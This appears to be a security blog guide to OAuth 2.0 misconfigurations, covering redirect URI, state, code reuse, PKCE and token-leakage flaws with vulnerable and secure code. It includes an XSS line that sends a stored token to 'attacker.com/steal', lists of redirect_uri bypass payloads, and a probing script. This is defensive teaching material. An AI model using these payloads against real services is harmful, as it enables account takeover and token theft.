OAuth Misconfiguration Vulnerabilities: The Silent Killer of Modern Authentication Systems

A comprehensive guide to OAuth misconfiguration vulnerabilities covering OAuth fundamentals, common implementation flaws, real-world attack vectors including redirect URI manipulation, state parameter bypasses, and token leakage, with practical prevention strategies for developers and security professionals. Complete guide to OAuth security vulnerabilities and misconfigurations. Learn OAuth 2.0 fundamentals, common attack vectors like redirect URI manipulation, authorization code interception, CSRF attacks, and PKCE bypasses with real-world examples and prevention strategies.

Nov 7, 2025 - 02:22
Nov 26, 2025 - 14:18
OAuth Misconfiguration Vulnerabilities: The Silent Killer of Modern Authentication Systems

In the modern web application landscape, OAuth has become the de facto standard for authorization and authentication. From "Login with Google" buttons to third-party API integrations, OAuth powers the interconnected digital ecosystem we rely on daily. Yet beneath this convenience lies a dangerous reality: OAuth implementations are riddled with subtle misconfigurations that create critical security vulnerabilities, often invisible until they're exploited.

This isn't about theoretical vulnerabilities in academic papers. These are real-world attack vectors actively exploited by threat actors to compromise user accounts, steal sensitive data, and breach enterprise systems. Understanding OAuth security isn't optional anymore—it's essential for every developer, security professional, and organization handling user authentication.

OAuth Fundamentals: Understanding the Foundation

Before diving into vulnerabilities, we need to establish a solid understanding of how OAuth actually works. Too many developers implement OAuth as a "magic authentication box" without understanding its underlying mechanisms—and that's exactly where security problems begin.

What OAuth Actually Is (And Isn't)

OAuth 2.0 is an authorization framework, not an authentication protocol. This distinction is crucial:

  • Authorization: Granting limited access to resources ("Can this app post to Twitter on my behalf?")
  • Authentication: Verifying identity ("Who are you?")

While OAuth is often used for authentication (via OpenID Connect), it was originally designed for authorization. This fundamental misunderstanding leads to numerous security issues.

The OAuth 2.0 Flow: Core Components

OAuth involves four key players:

1. Resource Owner (User): The person who owns the protected resources 2. Client (Application): The app requesting access to resources 3. Authorization Server: Issues access tokens after authentication 4. Resource Server: Hosts the protected resources

Authorization Code Flow: The Standard Implementation

The most secure OAuth flow follows these steps:

Step 1: Authorization Request

GET /authorize?
  response_type=code&
  client_id=CLIENT_ID&
  redirect_uri=https://client-app.com/callback&
  scope=read_profile&
  state=RANDOM_STRING

Step 2: User Authentication

  • User logs in to authorization server
  • Grants permissions to the client application

Step 3: Authorization Code Issued

HTTP/1.1 302 Found
Location: https://client-app.com/callback?
  code=AUTH_CODE&
  state=RANDOM_STRING

Step 4: Token Exchange

POST /token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://client-app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET

Step 5: Access Token Response

{
  "access_token": "ACCESS_TOKEN",
  "token_type": "Bearer",
  "expires_in": 3600,
  "refresh_token": "REFRESH_TOKEN"
}

This multi-step process creates security checkpoints—but only if implemented correctly.

Common OAuth Grant Types and Their Risks

1. Authorization Code Grant (Most Secure)

Use Case: Server-side web applications

Security Features:

  • Client secret required for token exchange
  • Authorization code single-use
  • Code exchanged on backend (not exposed to browser)

Weakness When Misconfigured:

  • Weak redirect URI validation
  • Missing state parameter
  • Code interception vulnerabilities

2. Implicit Flow (Deprecated for Good Reason)

Use Case: Single-page applications (legacy)

How It Works:

GET /authorize?
  response_type=token&
  client_id=CLIENT_ID&
  redirect_uri=https://spa-app.com/callback&
  scope=read_profile

Critical Flaws:

  • Access token exposed in URL fragment
  • No client authentication
  • Token visible in browser history
  • Vulnerable to XSS attacks

Security Reality: This flow is now deprecated. Modern SPAs should use Authorization Code Flow with PKCE instead.

3. Client Credentials Flow

Use Case: Machine-to-machine authentication

Security Consideration:

  • No user context
  • Requires secure storage of client credentials
  • Vulnerable if credentials leaked

4. Resource Owner Password Credentials (Avoid)

Why It Exists: Legacy compatibility

Why You Shouldn't Use It:

  • User provides credentials directly to client
  • Defeats the purpose of OAuth
  • High phishing risk
  • Limited to highly trusted clients only

Critical Misconfiguration #1: Redirect URI Vulnerabilities

This is the most common and dangerous OAuth misconfiguration. The redirect URI is where the authorization server sends users after authentication—and if improperly validated, attackers can steal authorization codes and tokens.

Open Redirect Vulnerability

Vulnerable Configuration:

// Authorization server accepts ANY redirect URI
const validRedirects = [
  "https://legitimate-app.com/*"  // Wildcard = disaster
];

Attack Scenario:

https://auth-server.com/authorize?
  client_id=VICTIM_CLIENT&
  redirect_uri=https://attacker.com/steal&
  response_type=code&
  state=123

What Happens:

  1. User authenticates successfully
  2. Authorization code sent to attacker's domain
  3. Attacker exchanges code for access token
  4. Complete account takeover

Subdomain Takeover Attack

Configuration:

// Allows all subdomains
const validRedirects = [
  "https://*.company.com/callback"
];

Attack Vector: If attacker controls old-project.company.com (abandoned subdomain), they can set:

redirect_uri=https://old-project.company.com/callback

Path Traversal in Redirect URI

Vulnerable Validation:

function isValidRedirect(uri) {
  return uri.startsWith('https://app.com/callback');
}

Bypass:

redirect_uri=https://app.com/callback/../../../attacker-page

After URL normalization, this redirects to attacker's endpoint.

Prevention: Strict Whitelist Validation

Secure Implementation:

const ALLOWED_REDIRECTS = [
  'https://app.company.com/oauth/callback',
  'https://app.company.com/oauth/callback/alternate'
];

function validateRedirectURI(uri) {
  // Exact match only - no wildcards, no patterns
  return ALLOWED_REDIRECTS.includes(uri);
}

Never use:

  • Regex patterns
  • Wildcard matching
  • Prefix matching
  • Subdomain wildcards

Critical Misconfiguration #2: Missing or Weak State Parameter

The state parameter prevents CSRF attacks in OAuth flows. Its absence or weak implementation is a critical vulnerability.

Understanding the Attack

Vulnerable Flow (No State):

1. Attacker initiates OAuth flow: /authorize?client_id=APP
2. Attacker intercepts at redirect with their auth code
3. Attacker crafts malicious link with their auth code
4. Victim clicks link → victim's account linked to attacker's OAuth

Real-World Impact:

  • Account takeover
  • Data exfiltration
  • Privilege escalation

Attack Scenario: Account Linking Exploit

1. Attacker starts OAuth: "Link your Facebook account"
2. Gets authorization code for THEIR Facebook
3. Sends victim: https://app.com/callback?code=ATTACKERS_CODE
4. Victim's account now linked to attacker's Facebook
5. Attacker logs in with Facebook → accesses victim's account

Weak State Implementation

Vulnerable:

// Predictable state
const state = Date.now().toString();

Vulnerable:

// Not verified on callback
app.get('/callback', (req, res) => {
  const code = req.query.code;
  // Missing: state validation
  exchangeCodeForToken(code);
});

Secure State Implementation

Generation:

const crypto = require('crypto');

function generateState() {
  return crypto.randomBytes(32).toString('hex');
}

// Store in session
req.session.oauthState = generateState();

Validation:

app.get('/callback', (req, res) => {
  const receivedState = req.query.state;
  const expectedState = req.session.oauthState;
  
  if (!receivedState || receivedState !== expectedState) {
    return res.status(400).send('Invalid state parameter');
  }
  
  // Clear used state
  delete req.session.oauthState;
  
  // Proceed with code exchange
  exchangeCodeForToken(req.query.code);
});

Critical Misconfiguration #3: Authorization Code Interception

Authorization codes are meant to be single-use, short-lived tokens. Misconfigurations in their handling create serious vulnerabilities.

Code Reuse Vulnerability

Vulnerable Server:

// Code never invalidated
const authCodes = {};

app.post('/token', (req, res) => {
  const code = req.body.code;
  if (authCodes[code]) {
    return res.json({ access_token: authCodes[code] });
  }
});

Attack:

  1. Intercept authorization code
  2. Use code multiple times
  3. Generate multiple access tokens

Code Expiration Issues

Problems:

  • Codes valid for hours or days (should be <10 minutes)
  • No tracking of code usage
  • No revocation on reuse attempt

Network Interception

Vulnerable Scenario:

// Code transmitted over HTTP
http://app.com/callback?code=AUTHORIZATION_CODE

Attack Vector:

  • Man-in-the-middle attack
  • Network sniffing
  • Code stolen before legitimate use

Secure Code Handling

Implementation:

const authCodes = new Map();

function generateAuthCode(userId, clientId) {
  const code = crypto.randomBytes(32).toString('hex');
  authCodes.set(code, {
    userId,
    clientId,
    createdAt: Date.now(),
    used: false
  });
  
  // Auto-expire after 10 minutes
  setTimeout(() => authCodes.delete(code), 10 * 60 * 1000);
  
  return code;
}

app.post('/token', (req, res) => {
  const code = req.body.code;
  const codeData = authCodes.get(code);
  
  if (!codeData) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  if (codeData.used) {
    // Code reuse detected - revoke all tokens
    revokeAllTokens(codeData.userId, codeData.clientId);
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  if (Date.now() - codeData.createdAt > 10 * 60 * 1000) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Mark as used
  codeData.used = true;
  
  // Generate access token
  const accessToken = generateAccessToken(codeData.userId);
  res.json({ access_token: accessToken });
});

Critical Misconfiguration #4: PKCE Implementation Failures

PKCE (Proof Key for Code Exchange) was designed to prevent authorization code interception. But incorrect implementation negates its benefits.

PKCE Basics

Flow:

  1. Client generates code_verifier (random string)
  2. Client creates code_challenge = BASE64URL(SHA256(code_verifier))
  3. Authorization request includes code_challenge
  4. Token request includes original code_verifier
  5. Server validates: SHA256(code_verifier) == stored code_challenge

Missing PKCE Enforcement

Vulnerable:

// PKCE optional
app.post('/token', (req, res) => {
  const codeVerifier = req.body.code_verifier;
  // If no verifier provided, continues anyway
  if (codeVerifier) {
    validatePKCE(codeVerifier);
  }
  issueToken();
});

Attack: Attacker simply omits PKCE parameters, bypassing protection.

Weak Code Challenge Method

Vulnerable:

// Accepts 'plain' method
if (challengeMethod === 'plain') {
  // code_challenge === code_verifier
  return codeChallenge === codeVerifier;
}

Risk: No cryptographic protection; verifier sent in clear text.

Insufficient Code Verifier Entropy

Weak:

const codeVerifier = Math.random().toString(36).substring(7);
// Only ~40 bits of entropy

Required: Minimum 43 characters, cryptographically random.

Secure PKCE Implementation

Client Side:

function generateCodeVerifier() {
  const array = new Uint8Array(32);
  crypto.getRandomValues(array);
  return base64URLEncode(array);
}

function generateCodeChallenge(verifier) {
  const encoder = new TextEncoder();
  const data = encoder.encode(verifier);
  return crypto.subtle.digest('SHA-256', data)
    .then(hash => base64URLEncode(new Uint8Array(hash)));
}

// Store verifier securely (sessionStorage)
const verifier = generateCodeVerifier();
sessionStorage.setItem('pkce_verifier', verifier);

// Authorization request
const challenge = await generateCodeChallenge(verifier);
window.location = `/authorize?
  code_challenge=${challenge}&
  code_challenge_method=S256&
  ...`;

Server Side:

app.post('/token', (req, res) => {
  const code = req.body.code;
  const verifier = req.body.code_verifier;
  const codeData = getStoredCodeData(code);
  
  // Enforce PKCE for public clients
  if (!codeData.challenge) {
    return res.status(400).json({ error: 'PKCE required' });
  }
  
  // Only S256 method allowed
  if (codeData.challengeMethod !== 'S256') {
    return res.status(400).json({ error: 'invalid_request' });
  }
  
  // Validate challenge
  const computedChallenge = base64URLEncode(
    crypto.createHash('sha256').update(verifier).digest()
  );
  
  if (computedChallenge !== codeData.challenge) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Issue token
  issueAccessToken(codeData);
});

Critical Misconfiguration #5: Token Leakage and Exposure

Access tokens are the keys to the kingdom. Their exposure creates immediate security risks.

Referer Header Leakage

Vulnerable:



  Click here


Attack: External site receives token in Referer header.

Browser History Exposure

Implicit Flow Problem:

https://app.com/callback#access_token=SECRET_TOKEN

Token stored in:

  • Browser history
  • Server logs (if not careful)
  • Proxy logs

Logging Token Values

Vulnerable:

console.log('Received token:', accessToken);
logger.info(`User authenticated with token: ${accessToken}`);

Risk: Tokens in log files, monitoring systems, error tracking.

XSS Token Theft

Vulnerable:

// Token in localStorage
localStorage.setItem('access_token', token);

// Any XSS can steal it
fetch('https://attacker.com/steal?token=' + 
  localStorage.getItem('access_token'));

Secure Token Handling

Best Practices:

  1. Use HttpOnly Cookies:
res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict',
  maxAge: 3600000
});
  1. Never Log Tokens:
function sanitizeForLogging(data) {
  const sanitized = { ...data };
  if (sanitized.access_token) {
    sanitized.access_token = '[REDACTED]';
  }
  return sanitized;
}
  1. Short Token Lifetime:
{
  "access_token": "...",
  "expires_in": 900,  // 15 minutes
  "refresh_token": "..."
}
  1. Token Rotation:
// Issue new access token with refresh token
// Invalidate old refresh token after use

Advanced Attack Vectors

OAuth Token Hijacking via IdP Confusion

Attack Scenario:

  1. Attacker registers app with same client_id on different IdP
  2. Victim initiates OAuth with legitimate IdP
  3. Attacker intercepts and substitutes their IdP
  4. Victim completes auth on attacker's IdP
  5. Client accepts token from wrong IdP

Prevention:

  • Validate iss (issuer) claim
  • Bind tokens to specific IdP
  • Verify token signature with correct public key

Authorization Code Injection

Attack:

  1. Attacker starts OAuth flow
  2. Victim somehow completes the flow
  3. Attacker injects victim's auth code into their own session
  4. Attacker gains access to victim's account

Prevention:

  • Strong state parameter binding
  • PKCE enforcement
  • Client-side session validation

Scope Manipulation

Vulnerable:

/authorize?scope=read_profile write_data admin_access

Attack:

/authorize?scope=read_profile admin_access

Prevention:

// Verify granted scope matches requested scope
if (!grantedScopes.every(s => requestedScopes.includes(s))) {
  throw new Error('Scope mismatch');
}

Pre-Account Takeover

Attack Flow:

  1. Attacker creates account with victim's email (unverified)
  2. Attacker links their OAuth identity
  3. Victim later signs up with OAuth
  4. System merges accounts
  5. Attacker maintains access

Prevention:

  • Verify email before account linking
  • Separate verified and unverified accounts
  • Require re-authentication for sensitive operations

Real-World Case Studies

Case Study 1: Slack OAuth Misconfiguration (2017)

Vulnerability:

  • Redirect URI validation failure
  • Allowed attacker-controlled subdomains

Impact:

  • Account takeover
  • Workspace access compromise

Root Cause:

// Vulnerable: wildcard subdomain matching
if (uri.match(/^https:\/\/.*\.slack\.com/)) {
  return true;
}

Lesson: Never use regex for redirect URI validation.

Case Study 2: GitHub OAuth Token Leak

Vulnerability:

  • Access tokens in URL parameters
  • Logged in server logs

Impact:

  • Unauthorized repository access
  • API rate limit abuse

Root Cause:

  • Token passed as query parameter
  • Insufficient log sanitization

Lesson: Use POST requests for tokens, sanitize logs.

Case Study 3: Facebook OAuth CSRF

Vulnerability:

  • Missing state parameter validation
  • Account linking without confirmation

Impact:

  • Account takeover via Facebook linking

Root Cause:

// No state validation
app.get('/callback', (req, res) => {
  const code = req.query.code;
  // Directly exchanges code
  exchangeForToken(code);
});

Lesson: Always implement and validate state parameter.

Comprehensive Prevention Checklist

For Authorization Servers:

Redirect URI Security:

  • [ ] Exact match validation (no wildcards)
  • [ ] No subdomain wildcards
  • [ ] No regex patterns
  • [ ] HTTPS only (except localhost for development)
  • [ ] No open redirects

Code Security:

  • [ ] Single-use authorization codes
  • [ ] 10-minute maximum expiration
  • [ ] Code bound to client_id
  • [ ] Revoke all tokens on code reuse
  • [ ] HTTPS only for code transmission

State Parameter:

  • [ ] Enforce state parameter
  • [ ] Cryptographically random (32+ bytes)
  • [ ] Server-side validation
  • [ ] Bind to session

PKCE:

  • [ ] Enforce for public clients
  • [ ] Only S256 method allowed
  • [ ] Minimum 43-character verifier
  • [ ] Validate on token exchange

Token Security:

  • [ ] Short access token lifetime (15-60 min)
  • [ ] Implement refresh tokens
  • [ ] Token rotation on refresh
  • [ ] Bind tokens to client
  • [ ] Rate limiting

For Clients (Applications):

Implementation Security:

  • [ ] Use Authorization Code Flow with PKCE
  • [ ] Never use Implicit Flow
  • [ ] Always include state parameter
  • [ ] Validate state on callback
  • [ ] Store tokens securely (HttpOnly cookies)

Token Handling:

  • [ ] Never log tokens
  • [ ] Never expose in URLs
  • [ ] Use HTTPS everywhere
  • [ ] Implement token refresh
  • [ ] Clear tokens on logout

Scope Management:

  • [ ] Request minimum necessary scopes
  • [ ] Validate granted scopes
  • [ ] Display scopes to users
  • [ ] Re-request when scope changes

Error Handling:

  • [ ] Don't expose implementation details
  • [ ] Log security events
  • [ ] Implement rate limiting
  • [ ] Monitor for abuse

Testing for OAuth Vulnerabilities

Manual Testing Techniques:

1. Redirect URI Manipulation:

# Test various bypass attempts
redirect_uri=https://evil.com
redirect_uri=https://[email protected]
redirect_uri=https://app.com.evil.com
redirect_uri=https://app.com/callback/../../evil
redirect_uri=https://app.com%252fevil.com

2. State Parameter Testing:

# Remove state
/authorize?response_type=code&client_id=123
# (no state parameter)

# Use predictable state
/authorize?state=12345

# Reuse old state
/callback?code=ABC&state=OLD_STATE

3. Code Reuse Testing:

# Exchange same code multiple times
POST /token
code=AUTH_CODE&client_id=123&...

# Repeat immediately
POST /token
code=AUTH_CODE&client_id=123&...

4. PKCE Bypass Testing:

# Omit PKCE parameters
POST /token
code=AUTH_CODE&client_id=123
# (no code_verifier)

# Use 'plain' method
code_challenge_method=plain

# Weak verifier
code_verifier=abc123

Automated Testing Tools:

Burp Suite Extensions:

  • OAuth Scanner
  • EsPReSSO
  • Authz

Custom Scripts:

import requests

# Test redirect URI validation
def test_redirect_uri(base_url, client_id):
    payloads = [
        'https://evil.com',
        'https://[email protected]',
        'https://app.com.evil.com',
        '//evil.com',
    ]
    
    for payload in payloads:
        url = f"{base_url}/authorize"
        params = {
            'response_type': 'code',
            'client_id': client_id,
            'redirect_uri': payload
        }
        
        resp = requests.get(url, params=params, allow_redirects=False)
        if resp.status_code == 302:
            print(f"[!] Potential bypass: {payload}")

Secure OAuth Implementation Example

Complete Secure Implementation:

const express = require('express');
const crypto = require('crypto');
const session = require('express-session');

const app = express();
app.use(session({ secret: crypto.randomBytes(32).toString('hex') }));

// Configuration
const ALLOWED_REDIRECTS = [
  'https://app.company.com/oauth/callback'
];

const authCodes = new Map();
const accessTokens = new Map();

// Authorization endpoint
app.get('/authorize', (req, res) => {
  const {
    response_type,
    client_id,
    redirect_uri,
    scope,
    state,
    code_challenge,
    code_challenge_method
  } = req.query;
  
  // Validate parameters
  if (response_type !== 'code') {
    return res.status(400).send('Unsupported response_type');
  }
  
  // Strict redirect URI validation
  if (!ALLOWED_REDIRECTS.includes(redirect_uri)) {
    return res.status(400).send('Invalid redirect_uri');
  }
  
  // Validate state (client should provide)
  if (!state || state.length < 32) {
    return res.status(400).send('Invalid state parameter');
  }
  
  // Validate PKCE for public clients
  if (!code_challenge || code_challenge_method !== 'S256') {
    return res.status(400).send('PKCE required with S256 method');
  }
  
  // User authentication would happen here
  // For demo, assume user authenticated
  
  const userId = 'user123';
  const code = crypto.randomBytes(32).toString('hex');
  
  // Store code with metadata
  authCodes.set(code, {
    userId,
    clientId: client_id,
    redirectUri: redirect_uri,
    scope: scope,
    codeChallenge: code_challenge,
    challengeMethod: code_challenge_method,
    createdAt: Date.now(),
    used: false
  });
  
  // Auto-expire after 10 minutes
  setTimeout(() => authCodes.delete(code), 10 * 60 * 1000);
  
  // Redirect with code and state
  res.redirect(`${redirect_uri}?code=${code}&state=${state}`);
});

// Token endpoint
app.post('/token', express.urlencoded({ extended: true }), (req, res) => {
  const {
    grant_type,
    code,
    redirect_uri,
    client_id,
    client_secret,
    code_verifier
  } = req.body;
  
  if (grant_type !== 'authorization_code') {
    return res.status(400).json({ error: 'unsupported_grant_type' });
  }
  
  const codeData = authCodes.get(code);
  
  // Validate code exists
  if (!codeData) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Check if code already used (replay attack)
  if (codeData.used) {
    // Revoke all tokens for this user/client
    revokeAllTokens(codeData.userId, codeData.clientId);
    authCodes.delete(code);
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Check expiration
  if (Date.now() - codeData.createdAt > 10 * 60 * 1000) {
    authCodes.delete(code);
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Validate client
  if (codeData.clientId !== client_id) {
    return res.status(400).json({ error: 'invalid_client' });
  }
  
  // Validate redirect URI matches
  if (codeData.redirectUri !== redirect_uri) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Validate PKCE
  if (!code_verifier) {
    return res.status(400).json({ error: 'invalid_request' });
  }
  
  const computedChallenge = crypto
    .createHash('sha256')
    .update(code_verifier)
    .digest('base64url');
  
  if (computedChallenge !== codeData.codeChallenge) {
    return res.status(400).json({ error: 'invalid_grant' });
  }
  
  // Mark code as used
  codeData.used = true;
  
  // Generate tokens
  const accessToken = crypto.randomBytes(32).toString('hex');
  const refreshToken = crypto.randomBytes(32).toString('hex');
  
  // Store access token
  accessTokens.set(accessToken, {
    userId: codeData.userId,
    clientId: codeData.clientId,
    scope: codeData.scope,
    createdAt: Date.now()
  });
  
  // Access token expires in 15 minutes
  setTimeout(() => accessTokens.delete(accessToken), 15 * 60 * 1000);
  
  // Clean up authorization code
  authCodes.delete(code);
  
  // Return tokens
  res.json({
    access_token: accessToken,
    token_type: 'Bearer',
    expires_in: 900,
    refresh_token: refreshToken,
    scope: codeData.scope
  });
});

function revokeAllTokens(userId, clientId) {
  for (const [token, data] of accessTokens.entries()) {
    if (data.userId === userId && data.clientId === clientId) {
      accessTokens.delete(token);
    }
  }
}

app.listen(3000, () => {
  console.log('OAuth server running on port 3000');
});

Conclusion: Building Secure OAuth Implementations

OAuth misconfiguration vulnerabilities represent one of the most common and dangerous security flaws in modern web applications. The framework's flexibility—designed to accommodate various use cases—becomes a double-edged sword when developers don't fully understand its security implications.

The key lessons:

1. Never Trust, Always Verify: Every parameter, every redirect, every token must be validated rigorously.

2. Defense in Depth: Implement multiple security layers—state parameters, PKCE, strict redirect URIs, short-lived codes.

3. Fail Securely: When something goes wrong, fail closed. Revoke tokens, log incidents, alert security teams.

4. Stay Updated: OAuth best practices evolve. The Implicit Flow was once recommended; now it's deprecated. Keep learning.

5. Test Continuously: Security isn't a one-time implementation. Regular testing, penetration testing, and security audits are